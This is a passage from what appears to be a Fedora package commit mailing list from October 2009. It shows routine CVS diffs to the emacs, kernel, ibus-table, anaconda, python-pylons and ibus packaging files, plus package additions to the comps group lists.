--- emacs.spec	13 Oct 2009 23:34:20 -0000	1.140
+++ emacs.spec	13 Oct 2009 23:37:27 -0000	1.141
@@ -4,7 +4,7 @@ Summary: GNU Emacs text editor
 Name: emacs
 Epoch: 1
 Version: 23.1
-Release: 10%{?dist}
+Release: 11%{?dist}
 License: GPLv3+
 URL: http://www.gnu.org/software/emacs/
 Group: Applications/Editors
@@ -379,6 +379,9 @@ alternatives --install %{_bindir}/etags 
 %dir %{_datadir}/emacs/%{version}
 
 %changelog
+* Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-11
+- Bump release to fix tagging problem
+
 * Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-10
 - Update macros.xemacs to treat epoch correctly and be consistent with xemacs package
 - Use site_start_d macro consistently



From jgu at fedoraproject.org  Tue Oct 13 23:42:16 2009
From: jgu at fedoraproject.org (Jonathan G. Underwood)
Date: Tue, 13 Oct 2009 23:42:16 +0000 (UTC)
Subject: rpms/emacs/F-11 emacs.spec,1.131,1.132
Message-ID: <20091013234216.838C311C00E8@cvs1.fedora.phx.redhat.com>

Author: jgu

Update of /cvs/extras/rpms/emacs/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26843

Modified Files:
	emacs.spec 
Log Message:
* Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-6
- Update macros.xemacs to treat epoch correctly and be consistent with xemacs package
- Use site_start_d macro consistently
 
* Tue Sep 29 2009 Daniel Novotny <dnovotny at redhat.com> 1:23.1-5
- emacs contains nxml-mode (#516391)



Index: emacs.spec
===================================================================
RCS file: /cvs/extras/rpms/emacs/F-11/emacs.spec,v
retrieving revision 1.131
retrieving revision 1.132
diff -u -p -r1.131 -r1.132
--- emacs.spec	29 Sep 2009 11:04:59 -0000	1.131
+++ emacs.spec	13 Oct 2009 23:42:16 -0000	1.132
@@ -4,7 +4,7 @@ Summary: GNU Emacs text editor
 Name: emacs
 Epoch: 1
 Version: 23.1
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: GPLv3+
 URL: http://www.gnu.org/software/emacs/
 Group: Applications/Editors
@@ -178,7 +178,7 @@ ${TOPDIR}/src/emacs %{bytecompargs} site
 # Create pkgconfig file
 cat > emacs.pc << EOF
 sitepkglispdir=%{site_lisp}
-sitestartdir=%{site_lisp}/site-start.d
+sitestartdir=%{site_start_d}
 
 Name: emacs
 Description: GNU Emacs text editor
@@ -188,7 +188,8 @@ EOF
 # Create macros.emacs RPM macro file
 cat > macros.emacs << EOF
 %%_emacs_version %{version}
-%%_emacs_epoch %{epoch}
+%%_emacs_ev %{?epoch:%{epoch}:}%{version}
+%%_emacs_evr %{?epoch:%{epoch}:}%{version}-%{release}
 %%_emacs_sitelispdir %{site_lisp}
 %%_emacs_sitestartdir %{site_start_d}
 %%_emacs_bytecompile /usr/bin/emacs %bytecompargs 
@@ -381,6 +382,10 @@ alternatives --install %{_bindir}/etags 
 %dir %{_datadir}/emacs/%{version}
 
 %changelog
+* Wed Oct 14 2009 Jonathan G. Underwood <jonathan.underwood at gmail.com> - 1:23.1-6
+- Update macros.xemacs to treat epoch correctly and be consistent with xemacs package
+- Use site_start_d macro consistently
+ 
 * Tue Sep 29 2009 Daniel Novotny <dnovotny at redhat.com> 1:23.1-5
 - emacs contains nxml-mode (#516391)
 



From davej at fedoraproject.org  Wed Oct 14 00:12:14 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Wed, 14 Oct 2009 00:12:14 +0000 (UTC)
Subject: rpms/kernel/F-11 Makefile,1.104,1.105
Message-ID: <20091014001214.2F47D11C00EB@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2013/F-11

Modified Files:
	Makefile 
Log Message:
Fix up 'make reconfig'.

devel is still borked, but this change will at least make it work after F13
is branched.  It needs some smarts to use the 'next' version number when
we're in -rc stage.



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-11/Makefile,v
retrieving revision 1.104
retrieving revision 1.105
diff -u -p -r1.104 -r1.105
--- Makefile	24 Sep 2009 16:16:35 -0000	1.104
+++ Makefile	14 Oct 2009 00:12:12 -0000	1.105
@@ -32,6 +32,12 @@ endif
 include $(MAKEFILE_COMMON)
 include Makefile.config
 
+ifndef KVERSION
+KVERSION := $(shell awk '$$1 == "%define" && $$2 == "base_sublevel" { \
+				print "2.6." $$3 \
+			 }' $(SPECFILE))
+endif
+
 extremedebug:
 	@perl -pi -e 's/# CONFIG_DEBUG_PAGEALLOC is not set/CONFIG_DEBUG_PAGEALLOC=y/' config-nodebug
 
@@ -130,7 +136,7 @@ rhel:
 
 reconfig:
 	@rm -f kernel-*-config
-	@VERSION="2.6.29" make -f Makefile.config configs
+	@VERSION=$(KVERSION) make -f Makefile.config configs
 	@scripts/reconfig.sh
 
 force-tag: $(SPECFILE) $(COMMON_DIR)/branches
@@ -173,12 +179,6 @@ srpm beehive-sprm: RELEASE := 0.$(varian
 endif
 endif
 
-ifndef KVERSION
-KVERSION := $(shell awk '$$1 == "%define" && $$2 == "base_sublevel" { \
-				print "2.6." $$3 \
-			 }' $(SPECFILE))
-endif
-
 #
 # Hacks for building kernel rpms from upstream code plus local GIT branches.
 # Use "make git/BRANCH/TARGET" like "make TARGET".



From davej at fedoraproject.org  Wed Oct 14 00:12:14 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Wed, 14 Oct 2009 00:12:14 +0000 (UTC)
Subject: rpms/kernel/devel Makefile,1.114,1.115
Message-ID: <20091014001214.32BCE11C0268@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2013/devel

Modified Files:
	Makefile 
Log Message:
Fix up 'make reconfig'.

devel is still borked, but this change will at least make it work after F13
is branched.  It needs some smarts to use the 'next' version number when
we're in -rc stage.



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/devel/Makefile,v
retrieving revision 1.114
retrieving revision 1.115
diff -u -p -r1.114 -r1.115
--- Makefile	11 Oct 2009 07:29:06 -0000	1.114
+++ Makefile	14 Oct 2009 00:12:13 -0000	1.115
@@ -32,6 +32,12 @@ endif
 include $(MAKEFILE_COMMON)
 include Makefile.config
 
+ifndef KVERSION
+KVERSION := $(shell awk '$$1 == "%define" && $$2 == "base_sublevel" { \
+				print "2.6." $$3 \
+			 }' $(SPECFILE))
+endif
+
 extremedebug:
 	@perl -pi -e 's/# CONFIG_DEBUG_PAGEALLOC is not set/CONFIG_DEBUG_PAGEALLOC=y/' config-nodebug
 
@@ -145,7 +151,7 @@ rhel:
 
 reconfig:
 	@rm -f kernel-*-config
-	@VERSION="2.6.30" make -f Makefile.config configs
+	@VERSION=$(KVERSION) make -f Makefile.config configs
 	@scripts/reconfig.sh
 
 force-tag: $(SPECFILE) $(COMMON_DIR)/branches
@@ -188,12 +194,6 @@ srpm beehive-sprm: RELEASE := 0.$(varian
 endif
 endif
 
-ifndef KVERSION
-KVERSION := $(shell awk '$$1 == "%define" && $$2 == "base_sublevel" { \
-				print "2.6." $$3 \
-			 }' $(SPECFILE))
-endif
-
 #
 # Hacks for building kernel rpms from upstream code plus local GIT branches.
 # Use "make git/BRANCH/TARGET" like "make TARGET".



From davej at fedoraproject.org  Wed Oct 14 00:12:14 2009
From: davej at fedoraproject.org (Dave Jones)
Date: Wed, 14 Oct 2009 00:12:14 +0000 (UTC)
Subject: rpms/kernel/F-12 Makefile,1.109,1.110
Message-ID: <20091014001214.2BFF411C00E8@cvs1.fedora.phx.redhat.com>

Author: davej

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2013/F-12

Modified Files:
	Makefile 
Log Message:
Fix up 'make reconfig'.

devel is still borked, but this change will at least make it work after F13
is branched.  It needs some smarts to use the 'next' version number when
we're in -rc stage.



Index: Makefile
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/Makefile,v
retrieving revision 1.109
retrieving revision 1.110
diff -u -p -r1.109 -r1.110
--- Makefile	15 Sep 2009 18:53:54 -0000	1.109
+++ Makefile	14 Oct 2009 00:12:13 -0000	1.110
@@ -32,6 +32,12 @@ endif
 include $(MAKEFILE_COMMON)
 include Makefile.config
 
+ifndef KVERSION
+KVERSION := $(shell awk '$$1 == "%define" && $$2 == "base_sublevel" { \
+				print "2.6." $$3 \
+			 }' $(SPECFILE))
+endif
+
 extremedebug:
 	@perl -pi -e 's/# CONFIG_DEBUG_PAGEALLOC is not set/CONFIG_DEBUG_PAGEALLOC=y/' config-nodebug
 
@@ -130,7 +136,7 @@ rhel:
 
 reconfig:
 	@rm -f kernel-*-config
-	@VERSION="2.6.30" make -f Makefile.config configs
+	@VERSION=$(KVERSION) make -f Makefile.config configs
 	@scripts/reconfig.sh
 
 force-tag: $(SPECFILE) $(COMMON_DIR)/branches
@@ -173,12 +179,6 @@ srpm beehive-sprm: RELEASE := 0.$(varian
 endif
 endif
 
-ifndef KVERSION
-KVERSION := $(shell awk '$$1 == "%define" && $$2 == "base_sublevel" { \
-				print "2.6." $$3 \
-			 }' $(SPECFILE))
-endif
-
 #
 # Hacks for building kernel rpms from upstream code plus local GIT branches.
 # Use "make git/BRANCH/TARGET" like "make TARGET".



From cchance at fedoraproject.org  Wed Oct 14 00:13:29 2009
From: cchance at fedoraproject.org (cchance)
Date: Wed, 14 Oct 2009 00:13:29 +0000 (UTC)
Subject: rpms/ibus-table/F-11 .cvsignore, 1.10, 1.11 ibus-table.spec, 1.21, 
	1.22 sources, 1.11, 1.12
Message-ID: <20091014001329.CCD4D11C00E8@cvs1.fedora.phx.redhat.com>

Author: cchance

Update of /cvs/pkgs/rpms/ibus-table/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2299

Modified Files:
	.cvsignore ibus-table.spec sources 
Log Message:
regression, rollback to 1.2.0.20090902


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table/F-11/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	30 Sep 2009 06:07:09 -0000	1.10
+++ .cvsignore	14 Oct 2009 00:13:29 -0000	1.11
@@ -1 +1 @@
-ibus-table-1.2.0.20090912.tar.gz
+ibus-table-1.2.0.20090902.tar.gz


Index: ibus-table.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table/F-11/ibus-table.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- ibus-table.spec	6 Oct 2009 04:18:30 -0000	1.21
+++ ibus-table.spec	14 Oct 2009 00:13:29 -0000	1.22
@@ -1,12 +1,13 @@
 Name:       ibus-table
-Version:    1.2.0.20090912
-Release:    2%{?dist}
+Version:    1.2.0.20091014
+Release:    1%{?dist}
 Summary:    The Table engine for IBus platform
 License:    LGPLv2+
 Group:      System Environment/Libraries
 URL:        http://code.google.com/p/ibus/
-Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
-Patch0:     ibus-table-1.2.0.20090912-2.parse_eq_sign.patch
+#Source0:    http://ibus.googlecode.com/files/%{name}-%{version}.tar.gz
+Source0:    http://ibus.googlecode.com/files/%{name}-1.2.0.20090902.tar.gz
+#Patch0:     ibus-table-1.2.0.20090912-2.parse_eq_sign.patch
 
 BuildRoot:  %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch:  noarch
@@ -19,14 +20,14 @@ The package contains general Table engin
 %package additional
 Summary:    Additional tables for general table engine of IBus
 Group:      System Environment/Libraries
-Requires:   %{name} = %{version}-%{release}
+Requires:   %{name} = 1.2.0.20090902-%{release}
 
 %description additional
 This package contains additional tables.
 
 %prep
-%setup -q
-%patch0 -p1 -b .1-parse_eq_sign
+%setup0 -q -n %{name}-1.2.0.20090902
+#%patch0 -p1 -b .1-parse_eq_sign
 
 %build
 %configure --disable-static --enable-additional
@@ -78,9 +79,6 @@ ibus-table-createdb -i -n %{_datadir}/ib
 %{_datadir}/%{name}/engine/main.py
 %{_datadir}/%{name}/engine/main.pyc
 %{_datadir}/%{name}/engine/main.pyo
-%{_datadir}/%{name}/engine/speedmeter.py
-%{_datadir}/%{name}/engine/speedmeter.pyc
-%{_datadir}/%{name}/engine/speedmeter.pyo
 %{_datadir}/%{name}/engine/tabcreatedb.py
 %{_datadir}/%{name}/engine/tabcreatedb.pyc
 %{_datadir}/%{name}/engine/tabcreatedb.pyo
@@ -98,6 +96,22 @@ ibus-table-createdb -i -n %{_datadir}/ib
 %{_datadir}/%{name}/icons/scb-mode.svg
 %{_datadir}/%{name}/icons/tc-mode.svg
 %{_datadir}/%{name}/icons/tcb-mode.svg
+%{_datadir}/%{name}/meter/speedmeter.py
+%{_datadir}/%{name}/meter/speedmeter.pyc
+%{_datadir}/%{name}/meter/speedmeter.pyo
+# only in 1.2.0.20090902
+%{_libexecdir}/ibus-setup-table
+%{_libexecdir}/ibus-table-meter
+%{_datadir}/ibus-table/engine/KeyEvent.py
+%{_datadir}/ibus-table/engine/KeyEvent.pyc
+%{_datadir}/ibus-table/engine/KeyEvent.pyo
+%{_datadir}/ibus-table/engine/editor.py
+%{_datadir}/ibus-table/engine/editor.pyc
+%{_datadir}/ibus-table/engine/editor.pyo
+%{_datadir}/ibus-table/setup/main.py
+%{_datadir}/ibus-table/setup/main.pyc
+%{_datadir}/ibus-table/setup/main.pyo
+%{_datadir}/ibus-table/setup/setup.glade
 
 %files additional
 %defattr(-,root,root,-)
@@ -107,6 +121,9 @@ ibus-table-createdb -i -n %{_datadir}/ib
 %{_datadir}/%{name}/icons/latex.svg
 
 %changelog
+* Wed Oct 14 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20091014-1.fc11
+- Regression of crashing. Rollback to 1.2.0.20090912.
+
 * Tue Oct 06 2009 Caius 'kaio' Chance <k AT kaio.me> - 1.2.0.20090912-2.fc11
 - IBus #564 - Fixed parsing equal sign.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ibus-table/F-11/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	30 Sep 2009 06:07:09 -0000	1.11
+++ sources	14 Oct 2009 00:13:29 -0000	1.12
@@ -1 +1 @@
-22c3994f665b129adc1db6eabed90fda  ibus-table-1.2.0.20090912.tar.gz
+987c057da83ecdcf221f6154db00690d  ibus-table-1.2.0.20090902.tar.gz



From cwickert at fedoraproject.org  Wed Oct 14 00:28:55 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Wed, 14 Oct 2009 00:28:55 +0000 (UTC)
Subject: comps comps-f10.xml.in, 1.278, 1.279 comps-f11.xml.in, 1.307,
	1.308 comps-f12.xml.in, 1.151, 1.152 comps-f13.xml.in, 1.37, 1.38
Message-ID: <20091014002855.4931F11C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8882

Modified Files:
	comps-f10.xml.in comps-f11.xml.in comps-f12.xml.in 
	comps-f13.xml.in 
Log Message:
add viewnior and xfce4-xfswitch-plugin


Index: comps-f10.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f10.xml.in,v
retrieving revision 1.278
retrieving revision 1.279
diff -u -p -r1.278 -r1.279
--- comps-f10.xml.in	8 Oct 2009 14:39:22 -0000	1.278
+++ comps-f10.xml.in	14 Oct 2009 00:28:54 -0000	1.279
@@ -2327,6 +2327,7 @@
       <packagereq type="optional">tzclock</packagereq>
       <packagereq type="optional">ufraw</packagereq>
       <packagereq type="optional">uniconvertor</packagereq>
+      <packagereq type="optional">viewnior</packagereq>
       <packagereq type="optional">wings</packagereq>
       <packagereq type="optional">xfig</packagereq>
       <packagereq type="optional">xgridfit</packagereq>
@@ -5147,6 +5148,7 @@
       <packagereq type="optional">xfce4-weather-plugin</packagereq>
       <packagereq type="optional">xfce4-websearch-plugin</packagereq>
       <packagereq type="optional">xfce4-xfapplet-plugin</packagereq>
+      <packagereq type="optional">xfce4-xfswitch-plugin</packagereq>
       <packagereq type="optional">xfce4-xkb-plugin</packagereq>
       <packagereq type="optional">xfce4-xmms-plugin</packagereq>
       <packagereq type="optional">xfburn</packagereq>


Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f11.xml.in,v
retrieving revision 1.307
retrieving revision 1.308
diff -u -p -r1.307 -r1.308
--- comps-f11.xml.in	12 Oct 2009 15:02:21 -0000	1.307
+++ comps-f11.xml.in	14 Oct 2009 00:28:54 -0000	1.308
@@ -2691,6 +2691,7 @@
       <packagereq type="optional">tzclock</packagereq>
       <packagereq type="optional">ufraw</packagereq>
       <packagereq type="optional">uniconvertor</packagereq>
+      <packagereq type="optional">viewnior</packagereq>
       <packagereq type="optional">wings</packagereq>
       <packagereq type="optional">xfig</packagereq>
     </packagelist>
@@ -5922,6 +5923,7 @@
       <packagereq type="optional">xfce4-weather-plugin</packagereq>
       <packagereq type="optional">xfce4-websearch-plugin</packagereq>
       <packagereq type="optional">xfce4-xfapplet-plugin</packagereq>
+      <packagereq type="optional">xfce4-xfswitch-plugin</packagereq>
       <packagereq type="optional">xfce4-xkb-plugin</packagereq>
       <packagereq type="optional">xfmpc</packagereq>
       <packagereq type="optional">xfprint</packagereq>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.151
retrieving revision 1.152
diff -u -p -r1.151 -r1.152
--- comps-f12.xml.in	12 Oct 2009 15:02:22 -0000	1.151
+++ comps-f12.xml.in	14 Oct 2009 00:28:54 -0000	1.152
@@ -2858,6 +2858,7 @@
       <packagereq type="optional">tzclock</packagereq>
       <packagereq type="optional">ufraw</packagereq>
       <packagereq type="optional">uniconvertor</packagereq>
+      <packagereq type="optional">viewnior</packagereq>
       <packagereq type="optional">wings</packagereq>
       <packagereq type="optional">xfig</packagereq>
     </packagelist>
@@ -6170,6 +6171,7 @@
       <packagereq type="optional">xfce4-weather-plugin</packagereq>
       <packagereq type="optional">xfce4-websearch-plugin</packagereq>
       <packagereq type="optional">xfce4-xfapplet-plugin</packagereq>
+      <packagereq type="optional">xfce4-xfswitch-plugin</packagereq>
       <packagereq type="optional">xfce4-xkb-plugin</packagereq>
       <packagereq type="optional">xfmpc</packagereq>
       <packagereq type="optional">xfprint</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- comps-f13.xml.in	12 Oct 2009 15:02:23 -0000	1.37
+++ comps-f13.xml.in	14 Oct 2009 00:28:54 -0000	1.38
@@ -2848,6 +2848,7 @@
       <packagereq type="optional">tzclock</packagereq>
       <packagereq type="optional">ufraw</packagereq>
       <packagereq type="optional">uniconvertor</packagereq>
+      <packagereq type="optional">viewnior</packagereq>
       <packagereq type="optional">wings</packagereq>
       <packagereq type="optional">xfig</packagereq>
     </packagelist>
@@ -6119,6 +6120,7 @@
       <packagereq type="optional">xfce4-weather-plugin</packagereq>
       <packagereq type="optional">xfce4-websearch-plugin</packagereq>
       <packagereq type="optional">xfce4-xfapplet-plugin</packagereq>
+      <packagereq type="optional">xfce4-xfswitch-plugin</packagereq>
       <packagereq type="optional">xfce4-xkb-plugin</packagereq>
       <packagereq type="optional">xfmpc</packagereq>
       <packagereq type="optional">xfprint</packagereq>



From cwickert at fedoraproject.org  Wed Oct 14 00:41:11 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Wed, 14 Oct 2009 00:41:11 +0000 (UTC)
Subject: comps comps-f13.xml.in,1.38,1.39
Message-ID: <20091014004111.5197F11C00E8@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12051

Modified Files:
	comps-f13.xml.in 
Log Message:
add parole, xfce4-stopwatch-plugin and whaawmp


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.38
retrieving revision 1.39
diff -u -p -r1.38 -r1.39
--- comps-f13.xml.in	14 Oct 2009 00:28:54 -0000	1.38
+++ comps-f13.xml.in	14 Oct 2009 00:41:09 -0000	1.39
@@ -5085,6 +5085,7 @@
       <packagereq type="optional">mybashburn</packagereq>
       <packagereq type="optional">nted</packagereq>
       <packagereq type="optional">nyquist</packagereq>
+      <packagereq type="optional">parole</packagereq>
       <packagereq type="optional">padevchooser</packagereq>
       <packagereq type="optional">paman</packagereq>
       <packagereq type="optional">paprefs</packagereq>
@@ -5126,6 +5127,7 @@
       <packagereq type="optional">vdr-tvonscreen</packagereq>
       <packagereq type="optional">vdr-wapd</packagereq>
       <packagereq type="optional">vdradmin-am</packagereq>
+      <packagereq type="optional">whaawmp</packagereq>
       <packagereq type="optional">wmix</packagereq>
       <packagereq type="optional">xcdroast</packagereq>
       <packagereq type="optional">xfburn</packagereq>
@@ -6078,6 +6080,7 @@
       <packagereq type="default">xfce4-session-engines</packagereq>
       <packagereq type="default">xfwm4-theme-nodoka</packagereq>
       <packagereq type="optional">orage</packagereq>
+      <packagereq type="optional">parole</packagereq>
       <packagereq type="optional">ristretto</packagereq>
       <packagereq type="optional">Terminal</packagereq>
       <packagereq type="optional">thunar-media-tags-plugin</packagereq>
@@ -6110,6 +6113,7 @@
       <packagereq type="optional">xfce4-screenshooter-plugin</packagereq>
       <packagereq type="optional">xfce4-sensors-plugin</packagereq>
       <packagereq type="optional">xfce4-smartbookmark-plugin</packagereq>
+      <packagereq type="optional">xfce4-stopwatch-plugin</packagereq>
       <packagereq type="optional">xfce4-systemload-plugin</packagereq>
       <packagereq type="optional">xfce4-taskmanager</packagereq>
       <packagereq type="optional">xfce4-time-out-plugin</packagereq>



From dcantrel at fedoraproject.org  Wed Oct 14 00:58:51 2009
From: dcantrel at fedoraproject.org (David Cantrell)
Date: Wed, 14 Oct 2009 00:58:51 +0000 (UTC)
Subject: rpms/anaconda/devel .cvsignore, 1.680, 1.681 anaconda.spec, 1.830, 
	1.831 sources, 1.814, 1.815
Message-ID: <20091014005851.159F711C00E8@cvs1.fedora.phx.redhat.com>

Author: dcantrel

Update of /cvs/pkgs/rpms/anaconda/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16595

Modified Files:
	.cvsignore anaconda.spec sources 
Log Message:
* Tue Oct 13 2009 David Cantrell <dcantrell at redhat.com> - 13.6-1
- BR system-config-keyboard (dcantrell)



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/.cvsignore,v
retrieving revision 1.680
retrieving revision 1.681
diff -u -p -r1.680 -r1.681
--- .cvsignore	13 Oct 2009 22:34:03 -0000	1.680
+++ .cvsignore	14 Oct 2009 00:58:50 -0000	1.681
@@ -1 +1 @@
-anaconda-13.5.tar.bz2
+anaconda-13.6.tar.bz2


Index: anaconda.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/anaconda.spec,v
retrieving revision 1.830
retrieving revision 1.831
diff -u -p -r1.830 -r1.831
--- anaconda.spec	13 Oct 2009 22:34:04 -0000	1.830
+++ anaconda.spec	14 Oct 2009 00:58:50 -0000	1.831
@@ -3,7 +3,7 @@
 
 Summary: Graphical system installer
 Name:    anaconda
-Version: 13.5
+Version: 13.6
 Release: 1%{?dist}
 License: GPLv2+
 Group:   Applications/System
@@ -44,6 +44,7 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 %define iscsiver 6.2.0.870-3
 %define pythoncryptsetupver 0.0.6
 %define mehver 0.4
+%define sckeyboardver 1.3.1
 
 BuildRequires: audit-libs-devel
 BuildRequires: bzip2-devel
@@ -77,6 +78,7 @@ BuildRequires: zlib-devel
 BuildRequires: NetworkManager-devel >= %{nmver}
 BuildRequires: NetworkManager-glib-devel >= %{nmver}
 BuildRequires: dbus-devel >= %{dbusver}
+BuildRequires: system-config-keyboard >= %{sckeyboardver}
 %ifarch %livearches
 BuildRequires: desktop-file-utils
 %endif
@@ -117,7 +119,7 @@ Requires: python-cryptsetup >= %{pythonc
 Requires: mdadm
 Requires: lvm2
 Requires: util-linux-ng >= 2.15.1
-Requires: system-config-keyboard >= 1.3.1
+Requires: system-config-keyboard >= %{sckeyboardver}
 Requires: dbus-python
 Requires: cracklib-python
 Requires: python-bugzilla
@@ -216,6 +218,9 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Tue Oct 13 2009 David Cantrell <dcantrell at redhat.com> - 13.6-1
+- BR system-config-keyboard (dcantrell)
+
 * Tue Oct 13 2009 David Cantrell <dcantrell at redhat.com> - 13.5-1
 - Remove extra echo in 'make rpmlog'. (dcantrell)
 - Do not traceback if network device doesn't have HwAddress property


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anaconda/devel/sources,v
retrieving revision 1.814
retrieving revision 1.815
diff -u -p -r1.814 -r1.815
--- sources	13 Oct 2009 22:34:04 -0000	1.814
+++ sources	14 Oct 2009 00:58:50 -0000	1.815
@@ -1 +1 @@
-ef98a19c560d5d2ab5d2df425b15d328  anaconda-13.5.tar.bz2
+993397f93dfa7aaff4da8e7e065fb7a5  anaconda-13.6.tar.bz2



From lmacken at fedoraproject.org  Wed Oct 14 01:14:26 2009
From: lmacken at fedoraproject.org (Luke Macken)
Date: Wed, 14 Oct 2009 01:14:26 +0000 (UTC)
Subject: rpms/python-pylons/EL-5 python-pylons.spec,1.6,1.7
Message-ID: <20091014011426.7271111C00E8@cvs1.fedora.phx.redhat.com>

Author: lmacken

Update of /cvs/pkgs/rpms/python-pylons/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20655

Modified Files:
	python-pylons.spec 
Log Message:
Require python-decorator3


Index: python-pylons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-pylons/EL-5/python-pylons.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- python-pylons.spec	26 Jul 2009 20:56:39 -0000	1.6
+++ python-pylons.spec	14 Oct 2009 01:14:25 -0000	1.7
@@ -2,7 +2,7 @@
 
 Name: python-pylons
 Version: 0.9.7
-Release: 2%{?dist}
+Release: 3%{?dist}
 Summary: Pylons web framework
 
 Group: Development/Languages
@@ -16,7 +16,7 @@ BuildRequires: python-setuptools-devel
 # For the test suite
 BuildRequires: python-routes python-webhelpers python-beaker
 BuildRequires: python-paste python-paste-script python-paste-deploy
-BuildRequires: python-formencode python-simplejson python-decorator
+BuildRequires: python-formencode python-simplejson python-decorator3
 BuildRequires: python-nose python-mako python-webob python-weberror
 BuildRequires: python-tempita python-webtest python-turbocheetah
 BuildRequires: python-turbokid python-myghty python-genshi python-jinja2
@@ -31,7 +31,7 @@ Requires: python-paste-script >= 1.7.3
 Requires: python-paste-deploy >= 1.3.3
 Requires: python-formencode >= 1.2.1
 Requires: python-simplejson >= 2.0.8
-Requires: python-decorator >= 2.3.2
+Requires: python-decorator3
 Requires: python-nose >= 0.10.4
 Requires: python-mako >= 0.2.4
 Requires: python-webob >= 0.9.6.1
@@ -81,6 +81,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Tue Oct 13 2009 Luke Macken <lmacken at redhat.com> - 0.9.7-3
+- Require python-decorator3
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9.7-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From phuang at fedoraproject.org  Wed Oct 14 01:40:05 2009
From: phuang at fedoraproject.org (Huang Peng)
Date: Wed, 14 Oct 2009 01:40:05 +0000 (UTC)
Subject: rpms/ibus/F-12 .cvsignore, 1.44, 1.45 ibus.spec, 1.92, 1.93 sources,
	1.50, 1.51
Message-ID: <20091014014005.2ADF211C02A1@cvs1.fedora.phx.redhat.com>

Author: phuang

Update of /cvs/pkgs/rpms/ibus/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28484

Modified Files:
	.cvsignore ibus.spec sources 
Log Message:
Update to 1.2.0.20091014


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/F-12/.cvsignore,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- .cvsignore	27 Sep 2009 07:14:13 -0000	1.44
+++ .cvsignore	14 Oct 2009 01:40:03 -0000	1.45
@@ -1 +1 @@
-ibus-1.2.0.20090927.tar.gz
+ibus-1.2.0.20091014.tar.gz


Index: ibus.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ibus/F-12/ibus.spec,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- ibus.spec	27 Sep 2009 07:14:13 -0000	1.92
+++ ibus.spec	14 Oct 2009 01:40:03 -0000	1.93
@@ -7,7 +7,7 @@
 %define im_chooser_version 1.2.5
 
 Name:       ibus
-Version:    1.2.0.20090927
+Version:    1.2.0.20091014
 Release:    1%{?dist}
 Summary:    Intelligent Input Bus for Linux OS
 License:    LGPLv2+
@@ -33,7 +33,6 @@ BuildRequires:  gtk-doc
 BuildRequires:  GConf2-devel
 BuildRequires:  pygobject2-devel
 BuildRequires:  intltool
-# BuildRequires:  qt-devel
 
 Requires:   %{name}-libs = %{version}-%{release}
 Requires:   %{name}-gtk = %{version}-%{release}
@@ -83,15 +82,6 @@ Requires(post): glib2 >= %{glib_ver}
 %description gtk
 This package contains ibus im module for gtk2
 
